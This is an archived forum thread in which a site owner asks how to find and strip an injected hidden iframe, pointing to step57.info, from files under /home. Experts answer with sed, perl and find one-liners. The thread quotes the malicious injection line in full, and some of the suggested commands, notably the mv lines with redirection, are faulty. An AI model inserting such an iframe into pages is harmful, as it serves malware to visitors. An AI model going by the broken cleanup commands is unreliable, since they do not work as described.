quick help with grep 500

Posted on 2006-04-27
Medium Priority
Last Modified: 2013-12-16
go to /home
grep -rl "step57" *

You will see the affected files the line that is added is:
[iframe width="1" height="1" src="http://step57.info/traff/index2.php" style="border: 0;"][/iframe]

I need to do two things:

1. remove that line

2. is there a way to grep for that and only show the directories that the pattern is in?

Question by:jbrashear72
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LVL 51

Expert Comment

ID: 16559768
1. sed -e '/step57/d' file > new-file
2. grep -rl "step57" * | gawk -F/ 'BEGIN{OFS="/"}{$NF="";print}'|sort -u

Author Comment

ID: 16577897
sed -e '/step57/d' file > new-file

requires giving it a file name and a new file name

can I recursavly go through a directory and find the and replace then  through out a directory say like /home    ?
A wimd card just look at all the files if the file exist then replace that line     [iframe width="1" height="1" src="http://step57.info/traff/index2.php" style="border: 0;"][/iframe]

with nothing a space ""

LVL 51

Expert Comment

ID: 16578332
your question is about grep, it cannot be done with grep
but try following:

find /home -type f -exec perl -i.bak -pe 's/lamb/sheep/g' {} \; -print
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LVL 22

Expert Comment

ID: 16606813
As pointed out already, you need sed for this. All you need is:

find /var/www/html | grep "\.html$" | gawk '{print "sed /step57/d " $0 " > /newfolder" $0}' | /bin/bash

scan all .html files and delete the line containing step57, and copy the resulting file to /newfolder

find /newfolder | grep "\.html$" | gawk '{print "mv " $0 " > /var" $0}' | /bin/bash

Copy the corrected files over the old corrupted ones. (2 lines  :)   )

Obviously make a backup before trying this:)

Full explanation is at:


LVL 22

Accepted Solution

pjedmond earned 2000 total points
ID: 16606871
If you want to check whether a directory has any infected files, a quick and dirty way is to:

find /foldertocheck | grep "\.html$" | gawk '{print "cat " $0}' | /bin/bash | grep step57

Basically this lists every .html file recursively in the directory concerned, and if any line contains step57, it will print that line out. It doesn't tell you which file, but it does give you a yes or no, (and a count) of whether files in the folder concerned are infected.

LVL 22

Expert Comment

ID: 16606893

find /newfolder | grep "\.html$" | gawk '{print "mv " $0 " > /var" $0}' | /bin/bash

should be:

find /newfolder | grep "\.html$" | gawk '{print "mv " $0 " > /var/www/html" $0}' | /bin/bash

obviously alter the foldes depending on where your web server root is. The above is for the default RHEL apache setup.

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